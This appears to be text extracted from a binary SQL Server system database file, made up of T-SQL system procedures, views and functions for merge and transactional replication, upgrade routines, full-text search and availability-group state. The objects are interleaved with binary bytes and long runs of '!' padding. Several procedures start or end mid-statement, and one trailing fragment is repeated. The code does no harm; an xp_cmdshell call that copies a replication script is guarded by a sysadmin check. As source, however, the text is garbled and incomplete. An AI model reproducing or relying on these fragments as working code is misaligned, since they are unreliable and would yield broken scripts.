        if object_id(@qualified_tablename) is not null
        begin
            set @exists= 1
        end
    end

    return 0
0=b@ 8
create procedure sys.sp_MSevaluate_change_membership_for_all_articles_in_pubid (@pubid uniqueidentifier) as
begin
    declare @membership_eval_proc_name nvarchar(130), @retcode int

    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid
    if @retcode<>0 or @@ERROR<>0
        return 1

    -- get the ArticleChangeMembershipEvaluation proc for each article in this publication.
    -- This is different from sp_MSevaluate_change_membership_for_pubid in that it calls the eval procs
    -- for the same articles in other publications as well. e.g. if A1 has proc P1 in pub1 and A1 has proc P2 
    -- in pub2, then we will call both P1 and P2. sp_MSevaluate_change_membership_for_pubid only calls P1.
    declare membership_eval_proc_names CURSOR LOCAL FAST_FORWARD FOR select membership_eval_proc_name
    from dbo.sysmergepartitioninfoview 
    where membership_eval_proc_name is not null and membership_eval_proc_name <> ' '
    and nickname in (select nickname from dbo.sysmergearticles where pubid = @pubid)
    FOR READ ONLY
    
    open membership_eval_proc_names

    fetch next from membership_eval_proc_names into @membership_eval_proc_name

    while (@@fetch_status <> -1)
    begin
        select @membership_eval_proc_name = 'dbo.' + @membership_eval_proc_name
        exec @retcode = @membership_eval_proc_name 
        if @@error <> 0 or @retcode <> 0
            return 1
        
        fetch next from membership_eval_proc_names into @membership_eval_proc_name
    end

    close membership_eval_proc_names
    deallocate membership_eval_proc_names

    return 0
end
nername is null
        begin
            set @qualified_tablename= quotename(@tablename)
        end
        else
        begin
            set @qualified_tablename= quotename(@ownername) + '.' + quotename(@tablename)
        end

        if object_id(@qualified_tablename) is not null
        begin
            set @exists= 1
        end
    end

    return 0
return 1

    SELECT    SVR_NAME            = srvname,
            SVR_PRODUCT            = srvproduct,
            SVR_PROVIDERNAME    = providername,
            SVR_DATASOURCE        = datasource,
            SVR_PROVIDERSTRING    = providerstring,
            SVR_LOCATION        = location,
            SVR_CATALOG            = catalog
    FROM    master.dbo.sysservers
    WHERE    UPPER(srvname) = UPPER(@srvname) collate database_default
      AND    ISNULL(providername,' ') <> ' '
      AND    ( ISNULL(datasource, ' ') <> ' '
                  or ISNULL(location, ' ') <> ' '
                  or ISNULL(providerstring, ' ') <> ' '
                  or ISNULL(catalog, ' ') <> ' '
              )
    ORDER BY 1

    if @@error <> 0
        return 1
    else
        return 0
end
!!!!!!!!+
`g0	<)30_6@ 8CREATE VIEW sys.dm_tran_transactions_snapshot AS
	SELECT * 
	FROM OpenRowset(TABLE DM_TRAN_TRANSACTIONS_SNAPSHOT)
0q9 f8/* Shiloh fn_get_sql returned text column as TEXT instead of NTEXT. */
/* Use the same time in Yukon as well. */
create function sys.fn_get_sql(@handle varbinary(64))
returns table
as
	return select 
		dbid,
		objectid,
		number,
		encrypted,
		convert (TEXT, text) as text
	from 
		sys.dm_exec_sql_text(@handle)
0: <8CREATE VIEW sys.dm_hadr_internal_database_synchronization_states AS
	SELECT
		*,
		synchronization_state_desc = CASE
			WHEN (synchronization_state = 1) THEN CAST('SYNCHRONIZED' AS nvarchar(60))
			ELSE CAST('NOT_SYNCHRONIZED' AS nvarchar(60)) END
	FROM
		(
		SELECT
			replica_id = wr.ag_replica_id,
			group_database_id = wd.ag_db_id,
			database_name = wd.ag_db_name,
			synchronization_state = CASE
				WHEN (wr.sync_state & 12 <> 0) THEN CAST(1 as tinyint) -- 12 is from 8 (HADR_SYNCHRONIZED_REDO) and 4 (HADR_SYNCHRONIZED_LOG)
				ELSE CAST(0 AS tinyint) END,
			is_pending_secondary_suspend = CASE
				WHEN wr.sync_state = 2 THEN CAST(1 as tinyint) -- HADR_SYNCHRONIZED_SUSPENDED
				ELSE CAST(0 AS tinyint) END,
			is_database_joined = CASE
				WHEN wr.sync_state = 0 THEN CAST(0 as tinyint) -- HADR_SYNCHRONIZED_NOT_JOINED
				ELSE CAST(1 AS tinyint) END
		FROM sys.dm_hadr_internal_wsfc_ag_logical_dbs AS wd
		LEFT OUTER JOIN sys.dm_hadr_internal_wsfc_ag_db_replicas AS wr
			ON wr.ag_db_id = wd.ag_db_id
		) as base
0=GD 8create procedure sys.sp_MSmerge_upgrade_from_90rtm 
as
begin
   
    declare @count int
    declare @objectid int
    declare @tablename sysname
    declare @rowguidcol sysname
    declare @qualified_name nvarchar(517) 
    declare @command nvarchar(2000)

    -- Upgrade MSmerge_past_partition_mappings index
    select @count = count(*) from sys.index_columns as ic join sys.columns as c 
            on ic.object_id = c.object_id and ic.column_id = c.column_id 
        join sys.indexes as si
            on ic.index_id = si.index_id and ic.object_id = si.object_id 
    where si.name = 'nc2MSmerge_past_partition_mappings'

    if (@count = 1)
    begin
        -- recreate index
        drop index dbo.MSmerge_past_partition_mappings.nc2MSmerge_past_partition_mappings
        create nonclustered index nc2MSmerge_past_partition_mappings on dbo.MSmerge_past_partition_mappings (generation, tablenick) include (publication_number, partition_id)        
    end        

    if (object_id('sysmergesubscriptions') is not NULL)
    begin
        -- last_makegeneration_datetime
        if not exists (select * from sys.columns where object_id = object_id('dbo.sysmergesubscriptions') and
                            name = 'last_makegeneration_datetime')
        begin
            alter table dbo.sysmergesubscriptions add last_makegeneration_datetime datetime null
            if @@error <> 0 return 1           
        end
    end        
    
    if object_id('MSmerge_supportability_settings') is not NULL
    begin
        -- Column agent_xe  was added for SQL 11
        if not exists (select * from sys.columns where object_id = object_id('dbo.MSmerge_supportability_settings') and
                    name = 'agent_xe')
        begin
            alter table dbo.MSmerge_supportability_settings add agent_xe varbinary(max)
            if @@error <> 0 return 1           
        end            
        
        -- Column agent_xe_ring_buffer  was added for SQL 11
        if not exists (select * from sys.columns where object_id = object_id('dbo.MSmerge_supportability_settings') and
                    name = 'agent_xe_ring_buffer')
        begin
            alter table dbo.MSmerge_supportability_settings add agent_xe_ring_buffer varbinary(max)
            if @@error <> 0 return 1           
        end            

        -- Column sql_xe  was added for SQL 11
        if not exists (select * from sys.columns where object_id = object_id('dbo.MSmerge_supportability_settings') and
                    name = 'sql_xe')
        begin
            alter table dbo.MSmerge_supportability_settings add sql_xe varbinary(max)
            if @@error <> 0 return 1           
        end            
    end

    if (object_id('sysmergesubscriptions') is not NULL)
    begin
        -- last_makegeneration_datetime
        if not exists (select * from sys.columns where object_id = object_id('dbo.sysmergesubscriptions') and
                            name = 'last_makegeneration_datetime')
        begin
            alter table dbo.sysmergesubscriptions add last_makegeneration_datetime datetime null
            if @@error <> 0 return 1           
        end
    end        

    -- Add index to conflict tables
    declare cft_tbl_curs cursor local fast_forward for select conflict_table from dbo.sysmergearticles
    open cft_tbl_curs 
    fetch next from cft_tbl_curs into @tablename
    while (@@fetch_status <> -1)
    begin
	    if not exists (select * from sys.indexes where name = 'nc' + @tablename)
	    begin
		    select @objectid = OBJECT_ID(@tablename)
		    select @rowguidcol = name  from sys.columns where object_id = @objectid and is_rowguidcol = 1
		    if @rowguidcol is not null
		    begin
		        exec sys.sp_MSget_qualified_name @objectid, @qualified_name output
		        if @qualified_name is not null
		        begin
			        select @command = 'create nonclustered index ' + quotename('nc' + @tablename) + ' on ' + @qualified_name + ' (' + QUOTENAME(@rowguidcol) + ', origin_datasource_id)'
					exec (@command)			   
			    end		
		    end
	    end
	    fetch next from cft_tbl_curs into @tablename		      
    end
    close cft_tbl_curs
    deallocate cft_tbl_curs
    return 0
end
0= 8--
-- Name: sp_MSreplcopyscriptfile
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: Public procedure invoked via RPC. db_owner check
--
-- Requires Certificate signature for catalog access
--
CREATE PROCEDURE sys.sp_MSreplcopyscriptfile
(
    @directory nvarchar(4000),
    @scriptfile nvarchar(4000) 
)
as
begin
    set nocount on

    declare @retcode int
    declare @cmd nvarchar(4000)
    --
    -- security check
    -- only sysadmin can execute this
    --
    if (isnull(is_srvrolemember('sysadmin'),0) = 0) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    
    select @cmd = N'if not exist "' + sys.fn_escapecmdshellsymbolsremovequotes(@directory) collate database_default + '" md "' + sys.fn_escapecmdshellsymbolsremovequotes(@directory) collate database_default + '"'
    exec @retcode = master.dbo.xp_cmdshell @cmd, NO_OUTPUT
    if(@retcode <> 0)
    begin
        raiserror(21330, 16, -1, @cmd)
        return (1)
    end

    -- Copy script to distributor
    select @cmd = N'copy "' + sys.fn_escapecmdshellsymbolsremovequotes(@scriptfile) collate database_default + N'" "' + sys.fn_escapecmdshellsymbolsremovequotes(@directory) collate database_default + N'"'
    exec @retcode = master.dbo.xp_cmdshell @cmd, NO_OUTPUT
    if(@retcode <> 0)
    begin 
        raiserror(21331, 16, -1, @cmd)
        return (1)
    end

    return (0)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
J
J[`c<*]XJ0 @ )8-------------------------------------------------------------------------------
-- Name: sys.fn_GetRowsetIdFromRowDump
--
-- Description:
--	Cracks the output of %%rowdump%% virtual column and returns the rowset id
--
-- Notes:
-------------------------------------------------------------------------------
CREATE FUNCTION sys.fn_GetRowsetIdFromRowDump (@rowdump AS varbinary (max))
RETURNS BIGINT
AS
BEGIN
	declare @offset INT
	declare @rowsetId BIGINT

	set @offset = 1

	-- Check there are enough bytes for partition_id
	--
	if (datalength (@rowdump) < 8)
	BEGIN
		RETURN NULL
	END

	-- Rowset id is first 8 bytes
	--
	select @rowsetId = convert (bigint, convert (binary (8), reverse (substring (@rowdump, @offset, 8))))
	RETURN @rowsetId 
END
0RL o	8
--
-- Name:    
--          sp_IHreplincrementlsn
--          
-- Description: 
--          HREPL: Request publisher lsn for heterogeneous publications
--  
-- Security: 
--          internal -- call must be sysadmin or dboin distribution db
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Success/failure
--
-- Notes:
--          This procedure is used when administering heterogeneous publications, to request the last committed
--          transaction sequence number for the publisher.  If there are no entries for the publisher in
--          MSrepl_transactions, 0x00000000000000000000 is returned.
--
--          Must be run from distribution database for publisher.
--      
-- Owner:   
--          <current owner> 

create procedure sys.sp_IHreplincrementlsn
(
    @xact_seqno binary(10) OUTPUT,
    @publisher sysname
)
AS
BEGIN
    declare
        @retcode int,
        @publisher_id int,
        @publisher_db sysname

    --
    -- Security Check: require sysadmin or dbo in distribution db
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
    begin
       	return(1)
    end

    SELECT @publisher_id = s.srvid,
        @publisher_db = m.distribution_db
    FROM master.dbo.sysservers s, msdb..MSdistpublishers m
    WHERE UPPER(s.srvname collate database_default) = UPPER(m.name collate database_default) 
    AND UPPER(s.srvname collate database_default) = UPPER(@publisher) collate database_default
    AND m.distribution_db = DB_NAME() collate database_default
	    
    IF @@ERROR <> 0 
        RETURN (1)

    IF @publisher_id is NULL or @publisher_db IS NULL
    BEGIN
        RETURN (1)
    END

    -- For heterogeneous publishers, the last committed transaction in the
    -- distribution database is used as the timestamp
    EXEC @retcode = sys.sp_MSget_last_transaction
        @publisher_id = @publisher_id,
        @publisher_db = @publisher_db,
        @publisher = @publisher,
        @max_xact_seqno = @xact_seqno OUTPUT

    IF @@ERROR <> 0 or @retcode <> 0
        return(1)

    -- If no transactions have been processed for the heterogeneous publisher, initialize to 0.
    IF @xact_seqno IS NULL
    BEGIN
        set @xact_seqno = 0x00000000000000000000
    END    
    
    return(0)
END
sdb database -- ONLY FOR DISTRIBUTORS
            */
            exec @retcode = sys.sp_vupgrade_replmsdb
            if @retcode <> 0 or @@error <> 0
                    return (1)
            --
            -- Enumerate distribution databases
            --
            declare #cur_distdb CURSOR LOCAL FAST_FORWARD for 
                select name, has_dbaccess(name) from master.dbo.sysdatabases 
                    where category & @db_distbit = @db_distbit
                    		and databasepropertyex(name, 'Updateability') = 'READ_WRITE'
                for read only

            open #cur_distdb
            fetch #cur_distdb into @dbname, @has_dbaccess
            while ( @@fetch_status <> -1 )
            begin
              -- Verify that this SKU is allowed to be a distributor, otherwise unmark the dist bit but leave the db as is
				exec @retcode= sys.sp_MSsku_allows_replication
				if @@error<>0 or @retcode <> 0
				begin
					EXEC %%DatabaseEx(Name = @dbname).SetDistributor(Value = 0)					
				end
              -- if distribution database is available upgrade it; if offline error out
				else if ( @has_dbaccess = 1 )
                begin
                    raiserror( 21374, 0, 1, @dbname) with nowait
                    EXEC %%DatabaseEx(Name = @dbname).SetCompatibility(Level = 90)

                    select @cmd = quotename(@dbname) + N'.sys.sp_instdist'
                    exec @cmd
                    if @@error <> 0
                        return(1)

                    /*
                     * Process schema and metadata changes for each distribution database
                    */

                    select @cmd = quotename(@dbname) + N'.sys.sp_vupgrade_distdb'
                    exec @cmd
                    if @@error <> 0
                        return(1)
                end
                else
                begin
                    -- all distribution databases must be upgraded before continuing
                    raiserror( 21378, 16, 1, @dbname) with nowait
                end
                
                fetch next from #cur_distdb into @dbname, @has_dbaccess
            end -- end while fetch for distdb processing
            close #cur_distdb
            deallocate #cur_distdb
        end -- process distributors

        -- vupgrade_publisher runs at 
       exec @retcode = sys.sp_vupgrade_publisher 
               @ver_old = @ver_old, 
               @ver_retention = @ver_retention
        if @retcode<>0 or @@error<>0
            return (1)
    
        -- Update subscription database schema
        exec @retcode = sys.sp_vupgrade_subscription_databases
        if @retcode <> 0 or @@error <> 0
            return (1)

        exec sys.sp_vupgrade_registry
        if @retcode <> 0 or @@error <> 0
            return (1)
            
        if (sys.fn_MSrepl_editionid() in (22, 40))-- Express or Web
        begin
            exec @retcode = sys.sp_vupgrade_express_edition
            if @retcode <> 0 or @@error <> 0
                return 1
        end
            
        -- TODO: this warning should be raised only if there is atleast one database that is is merge published
        -- raiserror(20093, 10, 1) -- Infomational msg - to run snapshot and inital merge for upgrade to be complete
    end

    --
    -- Upgrade metadata for defined Oracle publishers
    -- Ignore all errors for now because we do not want replication
    -- upgrade to fail even if Oracle publishing upgrade has some problems.
    begin try
        exec @retcode = sys.sp_vupgrade_heterogeneous_publishers
    end try
    begin catch
        select @retcode = 0
    end catch
    
    -- Upgrade metadata for CDC enabled databases.
    -- Note: sp_cdc_vupgrade_databases catches all raised errors,
    -- and outputs informational messages only. We should not fail
    -- here, even if upgrade fails for one or more CDC enabled databases.
    exec sys.sp_cdc_vupgrade_databases
    
    --
    -- all done
    --
    return (0)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!%
%	`p<wv+B0%a 8
-- UNDONE: Need to copy this rowset into a 100 version and leave the
-- 90 version unchanged.
--
create function sys.fn_procedure_params_90_rowset2
(
    @procedure_schema   sysname = null,
    @parameter_name     sysname = null
)
RETURNS TABLE
AS
RETURN
(
-------------------------------------------------------------------------------------------
-- copied from sys.fn_procedure_params_90_rowset and removed checks for 1st parameter!
-------------------------------------------------------------------------------------------
    select
        PROCEDURE_CATALOG           = s_pp.PROCEDURE_CATALOG,
        PROCEDURE_SCHEMA            = s_pp.PROCEDURE_SCHEMA,
        PROCEDURE_NAME              = convert(nvarchar(134),
                                                s_pp.PROCEDURE_NAME +';'+
                                                ltrim(str(coalesce(s_pp.procedure_number,1), 5))),
        PARAMETER_NAME              = s_pp.PARAMETER_NAME,
        ORDINAL_POSITION            = s_pp.ORDINAL_POSITION,
        PARAMETER_TYPE              = s_pp.PARAMETER_TYPE,
        PARAMETER_HASDEFAULT        = s_pp.PARAMETER_HASDEFAULT,
        PARAMETER_DEFAULT           = s_pp.PARAMETER_DEFAULT,
        IS_NULLABLE                 = s_pp.IS_NULLABLE,
        DATA_TYPE                   = s_pp.DATA_TYPE, -- Used by Katmai clients
        DATA_TYPE_90                = s_pp.DATA_TYPE_90, -- Used by Yukon clients
        CHARACTER_MAXIMUM_LENGTH    = s_pp.CHARACTER_MAXIMUM_LENGTH,
        CHARACTER_MAXIMUM_LENGTH_90 = s_pp.CHARACTER_MAXIMUM_LENGTH_90,
        CHARACTER_OCTET_LENGTH      = s_pp.CHARACTER_OCTET_LENGTH,
        CHARACTER_OCTET_LENGTH_90   = s_pp.CHARACTER_OCTET_LENGTH_90,
        NUMERIC_PRECISION           = s_pp.NUMERIC_PRECISION,
        NUMERIC_SCALE               = s_pp.NUMERIC_SCALE,
        DESCRIPTION                 = s_pp.DESCRIPTION,
        TYPE_NAME                   = s_pp.TYPE_NAME,
        LOCAL_TYPE_NAME             = s_pp.LOCAL_TYPE_NAME,
        SS_XML_SCHEMACOLLECTION_CATALOGNAME = s_pp.SS_XML_SCHEMACOLLECTION_CATALOGNAME,
        SS_XML_SCHEMACOLLECTION_SCHEMANAME  = s_pp.SS_XML_SCHEMACOLLECTION_SCHEMANAME,
        SS_XML_SCHEMACOLLECTIONNAME = s_pp.SS_XML_SCHEMACOLLECTIONNAME,
        SS_UDT_CATALOGNAME          = s_pp.SS_UDT_CATALOGNAME,
        SS_UDT_SCHEMANAME           = s_pp.SS_UDT_SCHEMANAME,
        SS_UDT_NAME                 = s_pp.SS_UDT_NAME,
        SS_UDT_ASSEMBLY_TYPENAME    = s_pp.SS_UDT_ASSEMBLY_TYPENAME,
        SS_TYPE_CATALOG_NAME        = s_pp.SS_TYPE_CATALOG_NAME,
        SS_TYPE_SCHEMANAME          = s_pp.SS_TYPE_SCHEMANAME,
        SS_DATETIME_PRECISION       = s_pp.SS_DATETIME_PRECISION
    from
        sys.spt_procedure_params_view s_pp

    where
        (@procedure_schema is null or schema_id(@procedure_schema) = s_pp.schema_id)
        and
        (
            (s_pp.type in ('P', 'PC')) or
            (s_pp.procedure_number = 0 and s_pp.type in ('FN', 'TF', 'IF'))
        ) and
        (@parameter_name is null or @parameter_name = s_pp.PARAMETER_NAME)

    UNION ALL

    select
        PROCEDURE_CATALOG           = s_pprv.PROCEDURE_CATALOG,
        PROCEDURE_SCHEMA            = s_pprv.PROCEDURE_SCHEMA,
        PROCEDURE_NAME              = convert(nvarchar(134),
                                                s_pprv.PROCEDURE_NAME +';'+
                                                ltrim(str(coalesce(s_pprv.procedure_number,1), 5))),
        PARAMETER_NAME              = s_pprv.PARAMETER_NAME,
        ORDINAL_POSITION            = s_pprv.ORDINAL_POSITION,
        PARAMETER_TYPE              = s_pprv.PARAMETER_TYPE,
        PARAMETER_HASDEFAULT        = s_pprv.PARAMETER_HASDEFAULT,
        PARAMETER_DEFAULT           = s_pprv.PARAMETER_DEFAULT,
        IS_NULLABLE                 = s_pprv.IS_NULLABLE,
        DATA_TYPE                   = s_pprv.DATA_TYPE, -- Return value is either int or empty.
        DATA_TYPE_90                = s_pprv.DATA_TYPE, -- Return value is either int or empty.
        CHARACTER_MAXIMUM_LENGTH    = s_pprv.CHARACTER_MAXIMUM_LENGTH,
        CHARACTER_MAXIMUM_LENGTH_90 = s_pprv.CHARACTER_MAXIMUM_LENGTH,
        CHARACTER_OCTET_LENGTH      = s_pprv.CHARACTER_OCTET_LENGTH,
        CHARACTER_OCTET_LENGTH_90   = s_pprv.CHARACTER_OCTET_LENGTH,
        NUMERIC_PRECISION           = s_pprv.NUMERIC_PRECISION,
        NUMERIC_SCALE               = s_pprv.NUMERIC_SCALE,
        DESCRIPTION                 = s_pprv.DESCRIPTION,
        TYPE_NAME                   = s_pprv.TYPE_NAME,
        LOCAL_TYPE_NAME             = s_pprv.LOCAL_TYPE_NAME,
        SS_XML_SCHEMACOLLECTION_CATALOGNAME = s_pprv.SS_XML_SCHEMACOLLECTION_CATALOGNAME,
        SS_XML_SCHEMACOLLECTION_SCHEMANAME  = s_pprv.SS_XML_SCHEMACOLLECTION_SCHEMANAME,
        SS_XML_SCHEMACOLLECTIONNAME = s_pprv.SS_XML_SCHEMACOLLECTIONNAME,
        SS_UDT_CATALOGNAME          = s_pprv.SS_UDT_CATALOGNAME,
        SS_UDT_SCHEMANAME           = s_pprv.SS_UDT_SCHEMANAME,
        SS_UDT_NAME                 = s_pprv.SS_UDT_NAME,
        SS_UDT_ASSEMBLY_TYPENAME    = s_pprv.SS_UDT_ASSEMBLY_TYPENAME,
        SS_TYPE_CATALOG_NAME        = s_pprv.SS_TYPE_CATALOG_NAME,
        SS_TYPE_SCHEMANAME          = s_pprv.SS_TYPE_SCHEMANAME,
        SS_DATETIME_PRECISION       = s_pprv.SS_DATETIME_PRECISION
    from
        sys.spt_procedure_params_return_values_view s_pprv

    where
        (@procedure_schema is null or schema_id(@procedure_schema) = s_pprv.schema_id) and
        (
            @parameter_name is null or
            (@parameter_name = '@RETURN_VALUE' and s_pprv.type in ('P', 'PC')) or
            (@parameter_name = '@TABLE_RETURN_VALUE' and s_pprv.type <> 'P' and s_pprv.type <> 'PC')
        )
)
0@ 8CREATE VIEW sys.fulltext_system_stopwords
AS
	SELECT convert(nvarchar(64), stopword) as stopword, language_id FROM OpenRowset(TABLE FTSYSSTPWD) 
0 8CREATE FUNCTION sys.fn_ft_wordbreaker(@lcid int, @accent_sensitive int, @phrase nvarchar(513))
RETURNS TABLE
AS
	RETURN SELECT * FROM OpenRowset(TABLE FTWORDBREAKER, @lcid, @accent_sensitive, @phrase)
0 P8h>Q0=i D8^hJ	"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!2`gf<d
,>Jy08N :
8
create procedure sys.sp_MSdrop_asm_tranrepl
as
    if object_id('sp_printstatement') is not null
        drop procedure sys.sp_printstatement

    if object_id('sp_printagentstatement') is not null
        drop procedure sys.sp_printagentstatement

    --if object_id('sp_readfile') is not null
    --    drop procedure sys.sp_readfile

    --if object_id('sp_MSserializerowset') is not null
    --    drop procedure sys.sp_MSserializerowset

    --if object_id('sp_execresultset_sqlclr') is not null
    --    drop procedure sys.sp_execresultset_sqlclr

    if object_id('sp_MSscriptsynctrancommands_sqlclr') is not null
        drop procedure sys.sp_MSscriptsynctrancommands_sqlclr

    if object_id('sp_MSgeneratenosyncsubscriptionsetupscript_sqlclr') is not null
        drop procedure sys.sp_MSgeneratenosyncsubscriptionsetupscript_sqlclr

    if object_id('sp_MSscriptpublicationcustomprocs_sqlclr') is not null
        drop procedure sys.sp_MSscriptpublicationcustomprocs_sqlclr

    if object_id('sp_MSmakeconflicttable_sqlclr') is not null
        drop procedure sys.sp_MSmakeconflicttable_sqlclr

    if object_id('sp_MSscriptcustominsproc_sqlclr') is not null
        drop procedure sys.sp_MSscriptcustominsproc_sqlclr
    
    if object_id('sp_MSscriptcustomupdproc_sqlclr') is not null
        drop procedure sys.sp_MSscriptcustomupdproc_sqlclr

    if object_id('sp_MSscriptcustomdelproc_sqlclr') is not null
        drop procedure sys.sp_MSscriptcustomdelproc_sqlclr

    if object_id('sp_scriptdropinsreconciliationproc_sqlclr') is not null
        drop procedure sys.sp_scriptdropinsreconciliationproc_sqlclr

    if object_id('sp_scriptdropdelreconciliationproc_sqlclr') is not null
        drop procedure sys.sp_scriptdropdelreconciliationproc_sqlclr
        
    if object_id('fn_cdc_increment_lsn') is not null
        drop function sys.fn_cdc_increment_lsn

    if object_id('fn_cdc_decrement_lsn') is not null
        drop function sys.fn_cdc_decrement_lsn

    if object_id('fn_cdc_is_bit_set') is not null
        drop function sys.fn_cdc_is_bit_set

    if object_id('fn_repl_hash_binary') is not null
        drop function sys.fn_repl_hash_binary
 
    if object_id('ORMask') is not null
        drop aggregate sys.ORMask

    --Uncomment the following to enable the CLR version of sp_instdist
    --if object_id('sp_instdist') is not null
    --    drop procedure sys.sp_instdist

    if exists (select * from sys.assemblies where name = 'asm_tranrepl')
        drop assembly asm_tranrepl

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`Q
